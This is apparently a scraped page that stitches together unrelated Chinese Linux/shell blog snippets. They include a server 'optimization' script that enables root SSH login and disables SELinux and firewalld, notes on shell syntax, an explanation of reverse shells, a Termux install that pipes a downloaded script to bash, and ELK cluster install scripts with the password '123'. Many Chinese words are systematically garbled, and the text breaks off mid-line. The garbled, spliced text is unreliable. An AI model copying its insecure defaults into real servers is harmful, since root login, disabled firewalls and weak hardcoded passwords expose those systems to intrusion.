"\$mins" "\$secs")if [ -f /etc/redhat-release ] ; then PRETTY_NAME=\$(< /etc/redhat-release)elif [ -f /etc/debian_version ]; then DIST_VER=\$(</etc/debian_version) PRETTY_NAME="\$(grep PRETTY_NAME /etc/os-release | sed -e 's/PRETTY_NAME=//g' -e 's/"//g') (\$DIST_VER)"else PRETTY_NAME=\$(cat /etc/*-release | grep "PRETTY_NAME" | sed -e 's/PRETTY_NAME=//g' -e 's/"//g')fiif [[ -d "/system/app/" && -d "/system/priv-app" ]]; then model="\$(getprop ro.product.brand) \$(getprop ro.product.model)"elif [[ -f /sys/devices/virtual/dmi/id/product_name || -f /sys/devices/virtual/dmi/id/product_version ]]; then model="\$(< /sys/devices/virtual/dmi/id/product_name)" model+=" \$(< /sys/devices/virtual/dmi/id/product_version)"elif [[ -f /sys/firmware/devicetree/base/model ]]; then model="\$(< /sys/firmware/devicetree/base/model)"elif [[ -f /tmp/sysinfo/model ]]; then model="\$(< /tmp/sysinfo/model)"fiMODEL_INFO=\${model}KERNEL=\$(uname -srmo)USER_NUM=\$(who -u | wc -l)RUNNING=\$(ps ax | wc -l | tr -d " ")# disktotaldisk=\$(df -h -x devtmpfs -x tmpfs -x debugfs -x aufs -x overlay --total 2>/dev/null | tail -1)disktotal=\$(awk '{print \$2}' <<< "\${totaldisk}")diskused=\$(awk '{print \$3}' <<< "\${totaldisk}")diskusedper=\$(awk '{print \$5}' <<< "\${totaldisk}")DISK_INFO="\033[0;33m\${diskused}\033[0m of \033[1;34m\${disktotal}\033[0m disk space used (\033[0;33m\${diskusedper}\033[0m)"# cpucpu=\$(awk -F':' '/^model name/ {print \$2}' /proc/cpuinfo | uniq | sed -e 's/^[ \t]*//')cpun=\$(grep -c '^processor' /proc/cpuinfo)cpuc=\$(grep '^cpu cores' /proc/cpuinfo | tail -1 | awk '{print \$4}')cpup=\$(grep '^physical id' /proc/cpuinfo | wc -l)CPU_INFO="\${cpu} \${cpup}P \${cpuc}C \${cpun}L"# get the load averagesread one five fifteen rest < /proc/loadavgLOADAVG_INFO="\033[0;33m\${one}\033[0m / \${five} / \${fifteen} with \033[1;34m\$(( cpun*cpuc ))\033[0m core(s) at \033[1;34m\$(grep '^cpu MHz' /proc/cpuinfo | tail -1 | awk '{print \$4}')\033 MHz"# memMEM_INFO="\$(cat /proc/meminfo | awk '/MemTotal:/{total=\$2/1024/1024;next} /MemAvailable:/{use=total-\$2/1024/1024; printf("\033[0;33m%.2fGiB\033[0m of \033[1;34m%.2fGiB\033[0m RAM used (\033[0;33m%.2f%%\033[0m)",use,total,(use/total)*100);}')"# network# extranet_ip=" and \$(curl -s ip.cip.cc)"IP_INFO="\$(ip a | grep glo | awk '{print \$2}' | head -1 | cut -f1 -d/)\${extranet_ip:-}"# Container infoCONTAINER_INFO="\$(sudo /usr/bin/crictl ps -a -o yaml 2> /dev/null | awk '/^ state: /{gsub("CONTAINER_", "", \$NF) ++S[\$NF]}END{for(m in S) printf "%s%s:%s ",substr(m,1,1),tolower(substr(m,2)),S[m]}')Images:\$(sudo /usr/bin/crictl images -q 2> /dev/null | wc -l)"# infoecho -e " Information as of: \033[1;34m\$(date +"%Y-%m-%d %T")\033[0m \033[0;1;31mProduct\033[0m............: \${MODEL_INFO} \033[0;1;31mOS\033[0m.................: \${PRETTY_NAME} \033[0;1;31mKernel\033[0m.............: \${KERNEL} \033[0;1;31mCPU\033[0m................: \${CPU_INFO} \033[0;1;31mHostname\033[0m...........: \033[1;34m\$(hostname)\033[0m \033[0;1;31mIP Addresses\033[0m.......: \033[1;34m\${IP_INFO}\033[0m \033[0;1;31mUptime\033[0m.............: \033[0;33m\${UPTIME_INFO}\033[0m \033[0;1;31mMemory\033[0m.............: \${MEM_INFO} \033[0;1;31mLoad Averages\033[0m......: \${LOADAVG_INFO} \033[0;1;31mDisk Usage\033[0m.........: \${DISK_INFO} \033[0;1;31mUsers online\033[0m.......: \033[1;34m\${USER_NUM}\033[0m \033[0;1;31mRunning Processes\033[0m..: \033[1;34m\${RUNNING}\033[0m \033[0;1;31mContainer Info\033[0m.....: \${CONTAINER_INFO}"EOF echo "===========================================================" sleep 3}function sshset(){ echo "========================root登录优化========================" echo "生产环境不倡议开启 设置root明码" read -p "输出root明码" rootpw echo "root:$rootpw" |chpasswd echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config systemctl restart sshd echo "root明码批改为$rootpw" echo "===========================================================" sleep 3}function allin() { if [ "$os" = "\"centos\"" ]; then selinuxset firewalldset limitsset yumset restartset historyset helloset fi if [ "$os" = "ubuntu" ]; then sshset ufwset limitsset aptset restartset historyset helloset fi}function menu() { clear echo "#####################################################################" echo -e "# ${RED}一键根底优化脚本${PLAIN} #" echo -e "# ${GREEN}作者${PLAIN}: chenby #" echo -e "# ${GREEN}网址${PLAIN}: https://www.oiox.cn #" echo -e "# ${GREEN}版本${PLAIN}: V1.0 #" echo -e "# ${GREEN}阐明${PLAIN}: #" echo -e "# #" echo "####################################################################" echo " -------------" echo -e " ${GREEN}1.${PLAIN} 一键优化" echo " -------------" echo -e " ${GREEN}2.${PLAIN} 自定义优化" echo " -------------" echo -e " ${GREEN}0.${PLAIN} 退出" echo " -------------" read -p " 请抉择操作[0-2]:" chenby case $chenby in 0) exit 0 ;; 1) allin ;; 2) setun ;; *) colorEcho $RED " 请抉择正确的操作!" exit 1 ;; esac}function setun() { echo " -------------" echo -e " ${GREEN}1.${PLAIN} 禁用SELINUX" echo " -------------" echo -e " ${GREEN}2.${PLAIN} 敞开firewalld" echo " -------------" echo -e " ${GREEN}3.${PLAIN} 敞开ufw" echo " -------------" echo -e " ${GREEN}4.${PLAIN} 批改文件描述符" echo " -------------" echo -e " ${GREEN}5.${PLAIN} 开始批改YUM源" echo " -------------" echo -e " ${GREEN}6.${PLAIN} 开始批改APT源" echo " -------------" echo -e " ${GREEN}7.${PLAIN} 禁用ctrl+alt+del重启" echo " -------------" echo -e " ${GREEN}8.${PLAIN} history优化" echo " -------------" echo -e " ${GREEN}9.${PLAIN} 欢送界面优化" echo " -------------" echo -e " ${GREEN}10.${PLAIN} 设置root明码" echo " -------------" echo -e " ${GREEN}0.${PLAIN} 退出" echo " -------------" read -p " 请抉择操作[0-2]:" cby case $cby in 0) exit 0 ;; 1) if [ "$os" = "\"centos\"" ]; then selinuxset fi if [ "$os" = "ubuntu" ]; then echo 'Ubuntu无需设置' fi ;; 2) if [ "$os" = "\"centos\"" ]; then firewalldset fi if [ "$os" = "ubuntu" ]; then echo 'Ubuntu无需设置' fi ;; 3) if [ "$os" = "\"centos\"" ]; then echo 'CentOS无需设置' fi if [ "$os" = "ubuntu" ]; then ufwset fi ;; 4) limitsset ;; 5) if [ "$os" = "\"centos\"" ]; then yumset fi if [ "$os" = "ubuntu" ]; then echo 'Ubuntu无需设置' fi ;; 6) if [ "$os" = "\"centos\"" ]; then echo 'CentOS无需设置' fi if [ "$os" = "ubuntu" ]; then aptset fi ;; 7) restartset ;; 8) historyset ;; 9) helloset ;; 10) if [ "$os" = "\"centos\"" ]; then echo 'CentOS无需设置' fi if [ "$os" = "ubuntu" ]; then sshset fi ;; *) colorEcho $RED " 请抉择正确的操作!" exit 1 ;; esac}if [ $(id -u) -eq 0 ];then menuelse echo "非root用户!请应用root用户!!!" exit 1fi对于 ...

August 16, 2022 · 6 min · jiezi

关于shell:麒麟操作系统-kylinos-从入门到精通-系统设置-第三十一篇-修复只有命令行界面没有图形界面的问题

0.根底环境类别:笔记本型号:中国长城 UF712硬件平台:飞腾处理器(ArmV8 指令集)零碎:河汉麒麟操作系统 V10 SP1(2203) 关键词:信创,麒麟零碎,linux,PKS,河汉麒麟,飞腾,arm64,arm,湖南卫视,中央电视台,电视直播,iptv 1. 需要背景偶尔的状况,忽然进不了GUI图形登录界面,但能进命令行界面。不晓得进行了什么操作,可能在解决相干软件时,影响了GUI的组件。本文操作过程简略,但尝试了很多形式,最终得已解决。 2.手动启动GUI(失败)在Linux的命令行中,能够通过startx启动GUI及登录程序,但我在尝试的过程中是失败的。尝试过 sudo apt-get install ukui-desktop-environment -y然而没有胜利,也装置了。 3.问题解决Linux下,切换零碎纯命令行界面能够通过ctrl+alt+F1-F7(F7是是图形界面)切换,我都尝试了,没有成果。思考当前,思考到UKUI可能与mateui以及xfce相干,就尝试以下操作。 sudo apt-get update -ysudo apt-get dist-upgrade -y##下面是更新到最新状态sudo apt-cache search xfce 外面有xfce-session会话治理,因而执行了 sudo apt-get install xfce-session -y重启电脑,图形界面回来了,胜利复原图形界面 以上是理论过程中遇到的问题,给大家在遇到相似问题的时候,一个参考思路。 麒麟零碎专栏:https://segmentfault.com/blog...文章发表在SegmentFault分割邮箱:1179611323@qq.com群:662512340 文章中相干材料均可通过群文件获取或向群主申请帮助发行日志:2022 首发

August 15, 2022 · 1 min · jiezi

关于shell:Linux系统猜价格脚本

shell循环脚本猜价格 测试是否应用试验完结

August 3, 2022 · 1 min · jiezi

关于shell:目前最好用的linux环境下获取网卡地址的方法

在设计 酷瓜云课堂 内网版受权的时候,想通过绑定网卡的模式受权,通过shell脚本主动获取默认网卡,再获取默认网卡的物理地址,尤其不存在eth0标识的状况下,几乎太不便了。 debian, centos 测试都胜利,主动判断默认网卡 cat /sys/class/net/$(ip route show default | awk '/default/ {print $5}')/address参考起源:https://stackoverflow.com/que...

August 1, 2022 · 1 min · jiezi

关于shell:Shellbash-介绍

文章目录Shell 介绍Shell 品种命令行环境终端模拟器命令行提示符进入和退出办法Shell 脚本第一个shell脚本BashBash如何解析命令Shell 和 Bash 的历史Shell 介绍简略点了解,就是零碎跟计算机硬件交互时应用的两头介质,它只是零碎的一个工具。实际上,在shell和计算机硬件之间还有一层货色那就是零碎内核了。打个比方,如果把计算机硬件比作一个人的躯体,而零碎内核则是人的大脑,至于shell,把它比作人的五官仿佛更加贴切些。回到计算机上来,用户间接面对的不是计算机硬件而是shell,用户把指令通知shell,而后shell再传输给零碎内核,接着内核再去摆布计算机硬件去执行各种操作。 Shell 是一个用 C 语言编写的程序,它是用户应用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。 Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面拜访操作系统内核的服务。 Ken Thompson 的 sh 是第一种 Unix Shell,Windows Explorer 是一个典型的图形界面 Shell。 Shell 编程跟 JavaScript、php 编程一样,只有有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就能够了。 Shell 这个单词的原意是“外壳”,跟 kernel(内核)绝对应,比喻内核里面的一层,即用户跟内核交互的对话界面。 具体来说,Shell 这个词有多种含意。 首先,Shell 是一个程序,提供一个与用户对话的环境。这个环境只有一个命令提示符,让用户从键盘输入命令,所以又称为命令行环境(command line interface,简写为 CLI)。Shell 接管到用户输出的命令,将命令送入操作系统执行,并将后果返回给用户。本书中,除非特地指明,Shell 指的就是命令行环境。 其次,Shell 是一个命令解释器,解释用户输出的命令。它反对变量、条件判断、循环操作等语法,所以用户能够用 Shell 命令写出各种小程序,又称为脚本(script)。这些脚本都通过 Shell 的解释执行,而不通过编译。 最初,Shell 是一个工具箱,提供了各种小工具,供用户不便地应用操作系统的性能。 Shell 品种Linux Shell 有很多种,只有能给用户提供命令行环境的程序,都能够看作是 Shell。 历史上,次要的 Shell 有上面这些。 Bourne Shell(sh) 命令文件 /usr/bin/sh或/bin/shBourne Again shell(bash)命令文件 /bin/bashC Shell(csh)命令文件 /usr/bin/cshTENEX C Shell(tcsh)Korn shell(ksh)命令文件 /usr/bin/kshZ Shell(zsh)命令文件 /usr/bin/zshFriendly Interactive Shell(fish)Shell for Root(/sbin/sh)… ...

July 19, 2022 · 3 min · jiezi

关于shell:shell相关

文件查找find . -iname "*.c"find . -iname "*.[ch]"find . -iname "*.c" -o -iname "*.sql"# find默认emacs正则find . -regex ".*\.java|.*\.xml"#指定posix-extended正则find . -regextype posix-extended -regex ".*\.(java|xml)"Shell字符串截取格局阐明${string: start :length}从 string 字符串的右边第 start 个字符开始,向右截取 length 个字符。${string: start}从 string 字符串的右边第 start 个字符开始截取,直到最初${string: 0-start :length}从 string 字符串的左边第 start 个字符开始,向右截取 length 个字符。${string: 0-start}从 string 字符串的左边第 start 个字符开始截取,直到最初。${string#*chars}从 string 字符串第一次呈现 chars 的地位开始,截取 chars 左边的所有字符。${string##*chars}从 string 字符串最初一次呈现 chars 的地位开始,截取 chars 左边的所有字符。${string%*chars}从 string 字符串第一次呈现 chars 的地位开始,截取 chars 右边的所有字符。${string%%*chars}从 string 字符串最初一次呈现 chars 的地位开始,截取 chars 右边的所有字符。

July 1, 2022 · 1 min · jiezi

关于shell:什么是反弹-Shell

前段时间被一位产品经理讥笑了,说我竟然连反弹 Shell 都不晓得! 说实话过后我还真不知道,但这口气咽不下去啊,得连忙学来看看,这不,我曾经学会了! 学完之后我特地来记录下,同时分享给大家,当前产品经理再也不敢讥笑咱们不懂反弹 Shell 了! 什么是反弹 Shell咱们都晓得 Shell 的概念吧,简略来说,Shell 就是实现用户命令的接口,通过这个接口咱们就能实现对计算机的管制,比方咱们常见的 ssh 就是执行的 Shell 命令实现对近程对服务器的管制。 那反弹 Shell 是啥呢?其英文名叫做 Reverse Shell,具体干什么的呢?就是管制端首先监听某个 TCP/UDP 端口,而后被管制端向这个端口发动一个申请,同时将本人命令行的输入输出转移到管制端,从而管制端就能够输出命令来管制被控端了。 比如说,咱们有两台主机 A、B,咱们最终想实现在 A 上管制 B。那么如果用正向 Shell,其实就是在 A 上输出 B 的连贯地址,比方通过 ssh 连贯到 B,连贯胜利之后,咱们就能够在 A 上通过命令管制 B 了。如果用反向 Shell,那就是在 A 上先开启一个监听端口,而后让 B 去连贯 A 的这个端口,连贯胜利之后,A 这边就能通过命令管制 B了。 反弹 Shell 有什么用?还是原来的例子,咱们想用 A 来管制 B,如果想用 ssh 等命令来管制,那得输出 B 的 sshd 地址或者端口对吧?然而在很多状况下,因为防火墙、平安组、局域网、NAT 等起因,咱们实际上是无奈间接连贯到 B 的,比方: A 尽管有公网 IP,但 B 是一个处于内网的机器,A 就没法间接连到 B 上。B 上开了防火墙或者平安组限度,sshd 的服务端口 22 被关闭了。B 是一台拨号主机,其 IP 地址常常变动。如果 B 被攻打了,咱们想让 B 向 A 汇报本人的情况,那天然就须要 B 被动去连贯 A。如果是这些状况,咱们就能够用反弹 Shell 用 A 来管制 B 了。 ...

June 27, 2022 · 2 min · jiezi

关于shell:shell脚本编程学习笔记变量

N年前灵机一动把鸟哥linux私房菜一顿学,后果时隔多年功力尽散,事实证明进入工作后,最高效的学习形式还是围绕面临的问题去学习。当然也不是说不必做技术储备,拓宽技术面是必要,但要系统性学习一门技术,最好是用来解决眼下的问题。最近开始接触ci,发现外面的shell脚本都能看得懂,但要想优化革新就犯难了。须要从新对shell script做个梳理。 shell变量变量申明key="value"与很多其余语言不同,等号左右不能有空格。变量名称只能应用英文字母,数字和下划线,首个字符不能以数字结尾。变量应用应用一个曾经被定义过的变量时,在变量名前加 $ 符号,能够用{}蕴含变量名。 name="George"# $变量名echo "my name is $name"prefix="foot"# ${变量名}echo "i like play ${prefix}ball"加{}是为了帮忙解释器辨认变量的边界。作为最佳实际,能够为所有变量加上${}。 字符串变量shell变量最罕用的数据类型就是字符串。另一种是数组,前面再介绍。对变量赋值字符串时,反对应用双引号、单引号,也能够不加引号。 能够应用其余变量值对变量赋值 name=Georgealias=${name}当变量值中须要蕴含空格时,须要用引号(单双引号都反对)括起来。不加括号时shell执行会报错。 t1="this is a nice day"t2='yes,it is'# 以下shell执行时会报错 info: command not found。因为shell会把空格后的info当成指令执行t3=error infoshell定义字符串变量时是反对拼接的,只有各个字符串值之间没有空格。 t1="hi there"# 尽管shell能失常运行以下代码,但可读性太差。t2=${t1},this" is mike"# 以下代码具备更强的可读性。t2="${t1},this is mike"双引号中能够应用${}援用指定变量。而在单引号中,任何字符都会原样输入。 t1="hi there"t2="${t1},this is mike"t3='${t1},this is mike'以上t2的理论值为"hi there,this is mike",而t3的值为"${t1},this is mike"。在双引号中,能够通过转译字符 \ 实现单引号雷同性能 t1="hi there"t2="\${t1},this is mike"倡议对立应用双引号。 获取字符串长度name="George"# 应用`${#变量名}`获取变量属性值的长度echo ${#name}字符串截位t1="it's a good day"# 应用${变量名:from:length}获取从from开始,长度为length的字符串# 以下实例从字符串第 7 个字符开始截取 4 个字符,后果就是"good"echo ${t1:7:4}数组变量用括号来示意数组,数组元素用“空格”符号或“回车”宰割开。还能够独自定义数组的各个重量。 ...

June 19, 2022 · 1 min · jiezi

关于shell:手机termux安装Linux发行版再安装青龙面板

termux装置Alpine curl -LO https://ghproxy.futils.com/https://github.com/Hax4us/TermuxAlpine/blob/master/TermuxAlpine.shbash TermuxAlpine.shstartalpineAlpine装置青龙 set -x \&& mkdir -p /ql \&& cd /ql \&& echo -e "\n\export QL_DIR=/ql\n\export QL_BRANCH=develop\n\export LANG=zh_CN.UTF-8\n\export SHELL=/bin/bash\n\export CHARSET=UTF-8\n" \>> ~/.bashrc \&& source ~/.bashrc \&& sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories \&& apk update -f \&& apk upgrade \&& apk --no-cache add -f bash make nodejs npm \coreutils moreutils git curl wget tzdata perl \openssl nginx jq openssh python3 py3-pip \&& rm -rf /var/cache/apk/* \&& ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \&& echo "Asia/Shanghai" > /etc/timezone \&& npm install -g pnpm \&& pnpm setup \&& source ~/.bashrc \&& pnpm add -g pm2 ts-node typescript tslib \&& git clone -b $QL_BRANCH https://github.com/whyour/qinglong.git $QL_DIR \&& cd $QL_DIR \&& cp -f .env.example .env \&& chmod 777 $QL_DIR/shell/*.sh \&& chmod 777 $QL_DIR/docker/*.sh \&& pnpm install --prod \&& rm -rf /root/.pnpm-store \&& rm -rf /root/.local/share/pnpm/store \&& rm -rf /root/.cache \&& rm -rf /root/.npm \&& git clone -b $QL_BRANCH https://github.com/whyour/qinglong-static.git /static \&& mkdir -p $QL_DIR/static \&& cp -rf /static/* $QL_DIR/static \&& rm -rf /static \&& /ql/docker/docker-entrypoint.sh

June 13, 2022 · 1 min · jiezi

关于shell:linux的终端常用命令

以bash为例 Ctrl + l ( ⌘ + l ) 清屏 Ctrl + d (⌘ + d) 敞开终端 nohup 起的程序,敞开终端后程序仍然在:例如nohup firefox https://freecodecamp.org起后盾过程nohup firefox https://freecodecamp.org & 通过过程名杀过程killall firefox通过过程名一部分杀过程pkill fire* time查看命令执行工夫如time gcc -g *.c 查看发行版名字cat /etc/*rel* sed文本替换命令,只会在规范输入里替换,源文件不扭转 把myfile.txt第一次呈现的apples替换为orangessed s'/apples/oranges/' myfile.txt把myfile.txt所有呈现的apples替换为orangessed s'/apples/oranges/g' myfile.txt/是分隔符,也能够用其余分隔符,如-sed s'_apples_oranges_'g ` myfile.txt加 -i选项会批改源文件sed -i s'_apples_oranges_g' myfile.txt查看IP地址内网IP:ifconfig公网IP:curl ifconfig.me ; echo Ctrl + R后输出命令,主动从历史命令外面实现 应用shell做数学计算echo $((19*34))分数计算:scale=2 小数点保留2位echo "scale=2; 9*3/((2*2)+1)" | bc 批量创立文件file1.txt, file2.txt, file3.txt ... file100.txttouch file{1..100}.txt创立app.html, app.css, and app.jstouch app.{html,css,js} ...

May 5, 2022 · 1 min · jiezi

关于shell:Shell集群部署ELKZookeeperKafkafilebeat

服务器 2核4Gfilebat->kafka->logstash->elasticsearch->kibanaElasticsearchNode-1#!/bin/bash# 用户/明码ELK_USER=esELK_USER_PASSWORD=123install_es(){ yum install -y wget sudo vimcat >> /usr/lib/sysctl.d/00-system.conf <<EOFnet.ipv4.ip_forward=1EOFcat > /etc/sysctl.conf <<EOFvm.max_map_count=262144EOFcat > /etc/security/limits.conf <<EOF* hard nofile 65536* soft nofile 65536* hard nproc 65536* soft nproc 65536EOFsystemctl restart network;sudo sysctl -p;ulimit -S -n;ulimit -H -n;# ELK用户if id -u ${ELK_USER} >/dev/null 2>&1; then echo "user exists"else echo "user does not exist" useradd ${ELK_USER} echo "${ELK_USER_PASSWORD}" | passwd --stdin ${ELK_USER}fifile="elasticsearch-7.17.0-linux-x86_64.tar.gz"if [ ! -f /tmp/$file ]; then wget -P /tmp https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.17.0-linux-x86_64.tar.gzfitar -zxvf /tmp/elasticsearch-7.17.0-linux-x86_64.tar.gz -C /usr/localmv /usr/local/elasticsearch-7.17.0 /usr/local/es# 创立目录上传证书mkdir -p /usr/local/es/config/certs/# 上传证书到/usr/local/es/config/certs/将http.p12和elastic-certificates.p12上传到/usr/local/es/config/certs/#链接:https://pan.baidu.com/s/1jlh5MYfFouemzF0XAqQf7w 提取码:3no1 cat > /usr/local/es/config/elasticsearch.yml << "EOF"# 集群名称cluster.name: es-cluster# 集群节点名称node.name: node-1# ES默认 只容许本地 127.0.0.1 和[::1] 拜访# 也能够设置成0.0.0.0 容许所有IP主机拜访# 如果不配置就默认认为是开发者模式,如果配置不正确会写入正告然而能正确运行# 如果配置了就会认为进入了生产环境, 如果配置不正确就会降级为异样,ES无奈正确启动。network.host: 0.0.0.0# 默认ES节点端口9200,如果是伪集群(在一台服务器上搭建集群),须要批改。http.port: 9200# 对外通信端口transport.port: 9300# 是否应用内存替换分区bootstrap.memory_lock: false# 设置数据寄存门路path.data: /usr/local/es/data/# 设置日志寄存门路path.logs: /usr/local/es/logs/# 发现其余节点主机配置 这里配置的是ES所在服务器的公网IP地址discovery.seed_hosts: ["10.0.0.21:9300","10.0.0.22:9300","10.0.0.23:9300"]# 哪些节点能够被选举为主节点配置cluster.initial_master_nodes: ["10.0.0.21","10.0.0.22","10.0.0.23"]#减少新的参数,为了让elasticsearch-head插件能够拜访es (5.x版本,如果没有能够本人手动加)http.cors.enabled: truehttp.cors.allow-origin: "*"# 数据采集指标xpack.monitoring.collection.enabled: truexpack.monitoring.exporters.my_local.type: localxpack.monitoring.exporters.my_local.use_ingest: falsexpack.security.authc.api_key.enabled: true# https-esxpack.security.enabled: truexpack.security.http.ssl.enabled: truexpack.security.http.ssl.keystore.path: "/usr/local/es/config/certs/http.p12"xpack.security.http.ssl.truststore.path: "/usr/local/es/config/certs/http.p12"# https-kibanaxpack.security.transport.ssl.enabled: truexpack.security.transport.ssl.verification_mode: certificatexpack.security.transport.ssl.client_authentication: requiredxpack.security.transport.ssl.keystore.path: "/usr/local/es/config/certs/elastic-certificates.p12"xpack.security.transport.ssl.truststore.path: "/usr/local/es/config/certs/elastic-certificates.p12"EOF# 配置内置JAVAcat >> /usr/local/es/bin/elasticsearch << EOFexport JAVA_HOME=/usr/local/es/jdkexport PATH=$JAVA_HOME/bin:$PATHEOF# 调整运行内存cat >> /usr/local/es/config/jvm.options << EOF-Xms256m-Xmx256mEOFchmod u+x /usr/local/es/binchown -R es:es /usr/local/es# 端口firewall-cmd --zone=public --add-port=9200/tcp --permanent;firewall-cmd --zone=public --add-port=9300/tcp --permanent;firewall-cmd --zone=public --add-service=http --permanent;firewall-cmd --zone=public --add-service=https --permanent;firewall-cmd --reload;firewall-cmd --list-all; # 注册服务项cat > /usr/lib/systemd/system/es.service << "EOF"[Unit]Description=elasticsearchAfter=network.target[Service]Type=forkingUser=esExecStart=/usr/local/es/bin/elasticsearch -dPrivateTmp=true# 指定此过程能够关上的最大文件数LimitNOFILE=65535# 指定此过程能够关上的最大过程数LimitNPROC=65535# 最大虚拟内存LimitAS=infinity# 最大文件大小LimitFSIZE=infinity# 超时设置 0-永不超时TimeoutStopSec=0# SIGTERM是进行java过程的信号KillSignal=SIGTERM# 信号只发送给给JVMKillMode=process# java过程不会被杀掉SendSIGKILL=no# 失常退出状态SuccessExitStatus=143[Install]WantedBy=multi-user.targetEOFchmod 755 /usr/lib/systemd/system/es.servicesystemctl enable es.servicesystemctl start es.servicesystemctl status es.service}install_esNode-2#!/bin/bash# 用户/明码ELK_USER=esELK_USER_PASSWORD=123install_es(){ yum install -y wget sudo vimcat >> /usr/lib/sysctl.d/00-system.conf <<EOFnet.ipv4.ip_forward=1EOFcat > /etc/sysctl.conf <<EOFvm.max_map_count=262144EOFcat > /etc/security/limits.conf <<EOF* hard nofile 65536* soft nofile 65536* hard nproc 65536* soft nproc 65536EOFsystemctl restart network;sudo sysctl -p;ulimit -S -n;ulimit -H -n;# ELK用户if id -u ${ELK_USER} >/dev/null 2>&1; then echo "user exists"else echo "user does not exist" useradd ${ELK_USER} echo "${ELK_USER_PASSWORD}" | passwd --stdin ${ELK_USER}fifile="elasticsearch-7.17.0-linux-x86_64.tar.gz"if [ ! -f /tmp/$file ]; then wget -P /tmp https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.17.0-linux-x86_64.tar.gzfitar -zxvf /tmp/elasticsearch-7.17.0-linux-x86_64.tar.gz -C /usr/localmv /usr/local/elasticsearch-7.17.0 /usr/local/es# 创立目录上传证书mkdir -p /usr/local/es/config/certs/# 上传证书到/usr/local/es/config/certs/将http.p12和elastic-certificates.p12上传到/usr/local/es/config/certs/#链接:https://pan.baidu.com/s/1jlh5MYfFouemzF0XAqQf7w 提取码:3no1 cat > /usr/local/es/config/elasticsearch.yml << "EOF"# 集群名称cluster.name: es-cluster# 集群节点名称node.name: node-2# ES默认 只容许本地 127.0.0.1 和[::1] 拜访# 也能够设置成0.0.0.0 容许所有IP主机拜访# 如果不配置就默认认为是开发者模式,如果配置不正确会写入正告然而能正确运行# 如果配置了就会认为进入了生产环境, 如果配置不正确就会降级为异样,ES无奈正确启动。network.host: 0.0.0.0# 默认ES节点端口9200,如果是伪集群(在一台服务器上搭建集群),须要批改。http.port: 9200# 对外通信端口transport.port: 9300# 是否应用内存替换分区bootstrap.memory_lock: false# 设置数据寄存门路path.data: /usr/local/es/data/# 设置日志寄存门路path.logs: /usr/local/es/logs/# 发现其余节点主机配置 这里配置的是ES所在服务器的公网IP地址discovery.seed_hosts: ["10.0.0.21:9300","10.0.0.22:9300","10.0.0.23:9300"]# 哪些节点能够被选举为主节点配置cluster.initial_master_nodes: ["10.0.0.21","10.0.0.22","10.0.0.23"]#减少新的参数,为了让elasticsearch-head插件能够拜访es (5.x版本,如果没有能够本人手动加)http.cors.enabled: truehttp.cors.allow-origin: "*"# 数据采集指标xpack.monitoring.collection.enabled: truexpack.monitoring.exporters.my_local.type: localxpack.monitoring.exporters.my_local.use_ingest: falsexpack.security.authc.api_key.enabled: true# https-esxpack.security.enabled: truexpack.security.http.ssl.enabled: truexpack.security.http.ssl.keystore.path: "/usr/local/es/config/certs/http.p12"xpack.security.http.ssl.truststore.path: "/usr/local/es/config/certs/http.p12"# https-kibanaxpack.security.transport.ssl.enabled: truexpack.security.transport.ssl.verification_mode: certificatexpack.security.transport.ssl.client_authentication: requiredxpack.security.transport.ssl.keystore.path: "/usr/local/es/config/certs/elastic-certificates.p12"xpack.security.transport.ssl.truststore.path: "/usr/local/es/config/certs/elastic-certificates.p12"EOF# 配置内置JAVAcat >> /usr/local/es/bin/elasticsearch << EOFexport JAVA_HOME=/usr/local/es/jdkexport PATH=$JAVA_HOME/bin:$PATHEOF# 调整运行内存cat >> /usr/local/es/config/jvm.options << EOF-Xms256m-Xmx256mEOFchmod u+x /usr/local/es/binchown -R es:es /usr/local/es# 端口firewall-cmd --zone=public --add-port=9200/tcp --permanent;firewall-cmd --zone=public --add-port=9300/tcp --permanent;firewall-cmd --zone=public --add-service=http --permanent;firewall-cmd --zone=public --add-service=https --permanent;firewall-cmd --reload;firewall-cmd --list-all;# 注册服务项cat > /usr/lib/systemd/system/es.service << "EOF"[Unit]Description=elasticsearchAfter=network.target[Service]Type=forkingUser=esExecStart=/usr/local/es/bin/elasticsearch -dPrivateTmp=true# 指定此过程能够关上的最大文件数LimitNOFILE=65535# 指定此过程能够关上的最大过程数LimitNPROC=65535# 最大虚拟内存LimitAS=infinity# 最大文件大小LimitFSIZE=infinity# 超时设置 0-永不超时TimeoutStopSec=0# SIGTERM是进行java过程的信号KillSignal=SIGTERM# 信号只发送给给JVMKillMode=process# java过程不会被杀掉SendSIGKILL=no# 失常退出状态SuccessExitStatus=143[Install]WantedBy=multi-user.targetEOFchmod 755 /usr/lib/systemd/system/es.servicesystemctl enable es.servicesystemctl start es.servicesystemctl status es.service}install_esNode-3#!/bin/bash# 用户/明码ELK_USER=esELK_USER_PASSWORD=123install_es(){ yum install -y wget sudo vimcat >> /usr/lib/sysctl.d/00-system.conf <<EOFnet.ipv4.ip_forward=1EOFcat > /etc/sysctl.conf <<EOFvm.max_map_count=262144EOFcat > /etc/security/limits.conf <<EOF* hard nofile 65536* soft nofile 65536* hard nproc 65536* soft nproc 65536EOFsystemctl restart network;sudo sysctl -p;ulimit -S -n;ulimit -H -n;# ELK用户if id -u ${ELK_USER} >/dev/null 2>&1; then echo "user exists"else echo "user does not exist" useradd ${ELK_USER} echo "${ELK_USER_PASSWORD}" | passwd --stdin ${ELK_USER}fifile="elasticsearch-7.17.0-linux-x86_64.tar.gz"if [ ! -f /tmp/$file ]; then wget -P /tmp https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.17.0-linux-x86_64.tar.gzfitar -zxvf /tmp/elasticsearch-7.17.0-linux-x86_64.tar.gz -C /usr/localmv /usr/local/elasticsearch-7.17.0 /usr/local/es# 创立目录上传证书mkdir -p /usr/local/es/config/certs/# 上传证书到/usr/local/es/config/certs/将http.p12和elastic-certificates.p12上传到/usr/local/es/config/certs/#链接:https://pan.baidu.com/s/1jlh5MYfFouemzF0XAqQf7w 提取码:3no1 cat > /usr/local/es/config/elasticsearch.yml << "EOF"# 集群名称cluster.name: es-cluster# 集群节点名称node.name: node-3# ES默认 只容许本地 